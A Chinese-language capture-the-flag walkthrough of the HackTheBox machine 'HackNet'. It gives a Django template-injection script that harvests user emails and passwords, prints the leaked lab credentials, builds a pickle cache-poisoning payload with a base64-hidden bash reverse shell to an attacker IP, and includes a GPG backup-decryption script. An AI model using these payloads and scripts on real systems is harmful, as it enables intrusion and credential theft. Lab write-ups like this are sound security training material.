Nmap #
[root@Hacking] /home/kali/hacknet
❯ nmap hacknet.htb -A
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 95:62:ef:97:31:82:ff:a1:c6:08:01:8c:6a:0f:dc:1c (ECDSA)
|_ 256 5f:bd:93:10:20:70:e6:09:f1:ba:6a:43:58:86:42:66 (ED25519)
80/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: HackNet - social network for hackers
查看技术栈里使用了Django
Django #
随便注册一个用户进去,可以执行的操作有:
- 修改个人信息(改名字、签名、以及上传头像)
- 给别人/自己留言
- 给别人点赞
由于是python语言环境,这里就不考虑文件上传,首先考虑的是SSTI模板注入。这里值得注意的是,Django和传统Jinja2不同,在 Django 默认模板 (DTL) 下:
- 不执行 Python
- 写
{{7*7}}
、{{os.environ}}
、{{().__class__}}
都不会被执行。 - DTL 只解析上下文里存在的变量,没有算术或系统调用能力。
- 写
- 只能渲染上下文变量
- 例如
{{ user }}
、{{ request }}
、{{ settings.DEBUG }}
。 - 攻击者只能看到模板上下文里传入的变量值。
- 例如
- 真正的 SSTI 需要
- Jinja2 或其他允许执行 Python 表达式的模板引擎。
- 纯 DTL 下,只能泄露变量内容,不能执行命令、访问系统环境或数据库之外的内容。
那么可以联想道泄露其他用户的凭证?因为在某些用户的主页中,信息是封锁的👇
那么这里将自己的用户名修改为{{ users }}
,尝试通过渲染来泄露出用户数组。这里能用的渲染点就是随便点赞一个文章,然后查看likes列表
<QuerySet [
<SocialUser: cyberghost>,
<SocialUser: shadowcaster>,
<SocialUser: glitch>,
<SocialUser: netninja>,
<SocialUser: exploit_wizard>,
<SocialUser: whitehat>,
<SocialUser: deepdive>,
<SocialUser: virus_viper>,
<SocialUser: brute_force>,
<SocialUser: {{ users }}>
]>
可以发现这是 一个用户列表(QuerySet),每个元素都是一个 SocialUser
对象。接下来获取到列表对象的字段和值
那么接下来就要把名称修改为👇
{{ users.values }}
需要注意的是,这里渲染的用户列表只在当前likes列表中,也就是点了赞的用户中,而每个留言的点赞人数不一样。
import re
import requests
import html
url = "http://hacknet.htb"
headers = {
'Cookie': "csrftoken=uv50VFGcUZz15IDt9kEWCUa7RrdiTX4f; sessionid=zsb8y28d8wblc60iukbnf188j2uj1w9w"
}
all_users = set()
for i in range(1, 31):
# 点赞
requests.get(f"{url}/like/{i}", headers=headers)
# 获取点赞列表
text = requests.get(f"{url}/likes/{i}", headers=headers).text
# 找最后一个 <img> title 并反编码
img_titles = re.findall(r'<img [^>]*title="([^"]*)"', text)
if not img_titles:
continue
last_title = html.unescape(img_titles[-1])
# 如果没有 QuerySet 再点赞一次
if "<QuerySet" not in last_title:
requests.get(f"{url}/like/{i}", headers=headers)
text = requests.get(f"{url}/likes/{i}", headers=headers).text
img_titles = re.findall(r'<img [^>]*title="([^"]*)"', text)
if img_titles:
last_title = html.unescape(img_titles[-1])
# 分别匹配邮箱和密码
emails = re.findall(r"'email': '([^']*)'", last_title)
passwords = re.findall(r"'password': '([^']*)'", last_title)
# 邮箱前缀 + 密码
for email, p in zip(emails, passwords):
username = email.split('@')[0] # 取邮箱前缀
all_users.add(f"{username}:{p}")
# 输出去重后的用户名:密码
for item in all_users:
print(item)
经过测试,用户名无法登录到ssh,而邮箱的用户名可以可以
[root@Hacking] /home/kali/hacknet
❯ python exploit.py
chma:chma123
zero_day:Zer0D@yH@ck
glitch:Gl1tchH@ckz
shadowmancer:Sh@d0wM@ncer
virus_viper:V!rusV!p3r2024
stealth_hawk:St3@lthH@wk
cryptoraven:CrYptoR@ven42
rootbreaker:R00tBr3@ker#
asd:asd
netninja:N3tN1nj@2024
shadowwalker:Sh@dowW@lk2024
phreaker:Phre@k3rH@ck
datadive:D@taD1v3r
codebreaker:C0d3Br3@k!
test:test
hyh:123123
shadowcaster:Sh@d0wC@st!
mikey:<I CANT TELL YOU>
exploit_wizard:Expl01tW!zard
whitehat:Wh!t3H@t2024
trojanhorse:Tr0j@nH0rse!
packetpirate:P@ck3tP!rat3
brute_force:BrUt3F0rc3#
hexhunter:H3xHunt3r!
bytebandit:Byt3B@nd!t123
blackhat_wolf:Bl@ckW0lfH@ck
cyberghost:Gh0stH@cker2024
darkseeker:D@rkSeek3r#
deepdive:D33pD!v3r
找到了一组能登录的用户凭证
FileBasedCache #
查看网站目录下的文件,发现所属用户是sandy
/var/www/HackNet/SocialNetwork/views.py
拿出来单独看,发现以下部分源码
#line 489
@cache_page(60)
def explore(request):
if not "email" in request.session.keys():
return redirect("index")
session_user = get_object_or_404(SocialUser, email=request.session['email'])
page_size = 10
keyword = ""
if "keyword" in request.GET.keys():
keyword = request.GET['keyword']
posts = SocialArticle.objects.filter(text__contains=keyword).order_by("-date")
else:
posts = SocialArticle.objects.all().order_by("-date")
pages = ceil(len(posts) / page_size)
if "page" in request.GET.keys() and int(request.GET['page']) > 0:
post_start = int(request.GET['page'])*page_size-page_size
post_end = post_start + page_size
posts_slice = posts[post_start:post_end]
else:
posts_slice = posts[:page_size]
news = get_news()
request.session['requests'] = session_user.contact_requests
request.session['messages'] = session_user.unread_messages
for post_item in posts:
if session_user in post_item.likes.all():
post_item.is_like = True
posts_filtered = []
for post in posts_slice:
if not post.author.is_hidden or post.author == session_user:
posts_filtered.append(post)
for like in post.likes.all():
if like.is_hidden and like != session_user:
post.likes_number -= 1
context = {"pages": pages, "posts": posts_filtered, "keyword": keyword, "news": news, "session_user": session_user}
return render(request, "SocialNetwork/explore.html", context)
和之前缓存目录有关的
- 视图结果缓存 60 秒。
- 注意:Django 默认使用
FileBasedCache
或其他 cache backend 存储视图返回值。 - 安全风险:如果缓存目录可写且存储内容直接用
pickle
,可能被外部利用反序列化攻击(RCE)。
可以参考文章:谈谈Django的RCE-先知社区,Django对缓存文件内容的读取是直接进行loads的,没有进行任何过滤。这就意味着我们可以构造任何恶意的序列化内容来控制Django返回的内容,甚至是RCE,只要我们知道缓存存放的名字和位置,那么我们就能够直接进行代码执行。
那么接下来要做的就是访问/explore生成缓存,生成pickle序列化payload,然后写入缓存,最后访问/explore即可触发,下面是一个最简单的模板
import pickle
import base64
import os
import time
# ---- 配置 ----cache_dir = "/var/tmp/django_cache"
cmd = "printf KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTYuMjYvNDQ0NCAwPiYxKSAm|base64 -d|bash"
# ---- 生成 Pickle payload ----class RCE:
def __reduce__(self):
return (os.system, (cmd,),)
payload = pickle.dumps(RCE())
# ---- 写入每个 cache 文件 ----for filename in os.listdir(cache_dir):
if filename.endswith(".djcache"):
path = os.path.join(cache_dir, filename)
try:
os.remove(path) # 删除原文件
except:
continue
with open(path, "wb") as f:
f.write(payload) # 写入 pickle payload print(f"[+] Written payload to {filename}")
Root #
现在拿到了sandy用户,还记得上面网站目录下有gpg加密的文件吗?在sandy的用户目录中发现了GPG私钥文件
#!/bin/bash
# 批量解密 HackNet 备份文件
# 配置
KEY_PATH="$HOME/.gnupg/private-keys-v1.d/armored_key.asc"
BACKUP_DIR="/var/www/HackNet/backups"
OUTPUT_DIR="/tmp"
PASSPHRASE="I CANT TELL YOU" # 如果没有密码就留空
# 导入私钥
gpg --import "$KEY_PATH"
# 批量解密
for file in "$BACKUP_DIR"/*.gpg; do
filename=$(basename "$file" .gpg)
outpath="$OUTPUT_DIR/$filename.sql"
echo "[*] Decrypting $file → $outpath"
if [ -n "$PASSPHRASE" ]; then
gpg --batch --yes --passphrase "$PASSPHRASE" --pinentry-mode loopback -o "$outpath" -d "$file"
else
gpg --batch --yes -o "$outpath" -d "$file"
fi
done
echo "[*] Done. Decrypted files are in $OUTPUT_DIR"
[root@Hacking] /home/kali/hacknet
❯ cat backup0* | grep password